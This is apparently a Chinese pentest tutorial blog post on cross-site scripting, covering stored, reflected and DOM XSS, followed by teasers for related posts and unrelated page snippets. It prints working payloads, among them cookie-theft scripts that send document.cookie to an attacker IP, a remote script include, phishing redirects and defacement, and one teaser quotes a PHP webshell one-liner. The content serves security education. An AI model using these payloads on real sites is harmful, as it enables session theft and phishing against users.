XSS

【推荐书籍:XSS跨站脚本攻击剖析与防御

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户浏览器的控制。漏洞存在于服务器端,攻击对象为WEB客户端。原理:为了使用户体验更好等因素,有部分代码会在浏览器中执行】

JavaScript详解】:与java语言无关;命名完全出于市场原因,是使用最广的客户端脚本语言

使用场景

  直接嵌入html:<script>alert('XSS')</script>

  元素标签事件:<body onload=alert('XSS')>

  图片标签:<img src="javascript:alert('xss');">

  其他标签:<iframe>,<div>,<link>

  DOM对象【文本对象模型】,篡改页面内容

可实现攻击方式:

  1、盗取cookie【若浏览器正在登录状态】

  2、重定向到特定站点【可做钓鱼也页面】

常用的客户端脚本语言:JavaScript,VBScript,Activex,Flash

XSS

  攻击参与方:攻击者,被攻击者,漏洞站点,第三方站点(攻击目标/攻击参与站)

  漏洞形成根源:服务器对用户提交数据过滤不严;提交给服务器的脚本被直接返回给其他客户端执行;脚本在客户端执行恶意操作

  XSS漏洞类型详解

    特点:注入代码可能是一个片段或完整的语句,客户端提交到服务器,服务器原封不动地返回客户端;探测时,通过爬网,观察变量。每个变量都进行测试,只要提交的数据或代码被原封不动地返回,则有可能存在XSS漏洞

    1、存储型(持久型)

    2、反射型(非持久型)【盗取cookie,重定向,安装键盘记录器等】

    3、DOM型(本地执行)

示例:

  真实情况中,每个页面的变量都要就行尝试。工具推荐:Burpsuite

反射型注入

测试是否存在XSS,依据:是否原封不动地将输入返回【可能在页面,也有可能在返回的源码】

HTML标签属性】

输入:<a href="http://192.168.1.1">click</a>  创建一条超链接

则可创建自己的超链接,在别人的网站实施挂马,重定向等操作【又称HTML注入】

#################################################################################

注入脚本【检测】

1、<script>alert('XSS')</script>

2、Html中的事件类型:

A:<a href='' onclick=alert('XSS')>type</a>  【使用burpsuite发送,需进行URL编码】

生成URL  【可做成onclick,也可以做成onload(打开页面,即执行)】

B:<img src=http://1.1.1.1/a.jpg onerror=alert('XSS')>  【当请求找不到这图片,则触发】

漏洞利用

1、重定向  <script>window.location="http://www.sina.com"</script>  【制作钓鱼页面,窃取用户账号密码】

  <iframe src="http://1.1.1.1" height="0" width="0"><iframe>

2、窃取浏览当前页面的用户的cookie信息  <script>new image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>  【可结合社会工程学,1.1.1.1为攻击者IP地址(域名)】

3、篡改页面  <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>  【反射型:实际上并没有被修改,但在客户端上可以看到已篡改页面;存储型:可以实现对页面的篡改,对网站的形象造成损害】

4、集成复杂代码

将代码集成为一个html文件,然后伪造钓鱼网站链接,结合社工,进行攻击

5、使目标服务器到黑客控制的肉鸡服务器上拿一个功能性的脚本文件,再交由客户端去执行。

在输入框注入:<script src=http://192.168.1.127/a.js></script>

a.js  【连接88端口】

 <html>
img.src = "http://192.168.1.127:88/cookies.php?cookie="+document.cookie;
</html>

小白日记47:kali渗透测试之Web渗透-XSS(一)的更多相关文章

  1. 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

    扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...

  2. 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

    WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...

  3. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  4. 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

    补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...

  5. 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)

    HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...

  6. 小白日记50:kali渗透测试之Web渗透-CSRF

    CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...

  7. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  8. 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

    手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...

  9. 小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)

    扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其 ...

随机推荐

  1. initWithSpriteFrameName和createWithSpriteFrameName

    /** * Initializes a sprite with a sprite frame name. <br/> * A cc.SpriteFrame will be fetched ...

  2. C++11模板的别名

    [C++模板的别名] 参考:http://zh.wikipedia.org/wiki/C++0x#.E6.A8.A1.E6.9D.BF.E7.9A.84.E5.88.A5.E5.90.8D

  3. hibernate search例子

    [TOC] 1. 概念介绍 1.1. Hibernate Search Hibernate Search是Hibernate的子项目,把数据库全文检索能力引入到项目中,并通过"透明" ...

  4. redhat6.4升级openssh至6.7

    1:简介 最近浙江电信对线上服务器进行漏洞扫描,暴露出原有的openssh有漏洞,建议升级openssh版本: 2:操作环境 Red Hat Enterprise Linux Server relea ...

  5. LightOJ 1112 Curious Robin Hood (单点更新+区间求和)

    http://lightoj.com/volume_showproblem.php?problem=1112 题目大意: 1 i        将第i个数值输出,并将第i个值清0 2 i v     ...

  6. BootCamp支持软件4/5

    按 Mac 机型列出的 Boot Camp 要求 不同的 Mac 电脑适用不同版本的 Windows.如果您不知道您拥有的 Mac 是什么机型,请从 Apple 菜单中选取“关于本机”. 每个表格条目 ...

  7. MySQL 查看表结构简单命令。

    一.简单描述表结构,字段类型 desc tabl_name; 显示表结构,字段类型,主键,是否为空等属性,但不显示外键. 二.查询表中列的注释信息 select * from information_ ...

  8. linux运维工程师

    本人是linux运维工程师,对这方面有点心得,现在我说说要掌握哪方面的工具吧说到工具,在行外可以说是技能,在行内我们一般称为工具,就是运维必须要掌握的工具.我就大概列出这几方面,这样入门就基本没问题了 ...

  9. I/O小总结

    //判断不存在就创建目录 ,然后拷贝文件 DirectoryInfo di = null; if (!Directory.Exists(n.Attribute("value").V ...

  10. Codeforces Round #313 (Div. 2) E. Gerald and Giant Chess (Lucas + dp)

    题目链接:http://codeforces.com/contest/560/problem/E 给你一个n*m的网格,有k个坏点,问你从(1,1)到(n,m)不经过坏点有多少条路径. 先把这些坏点排 ...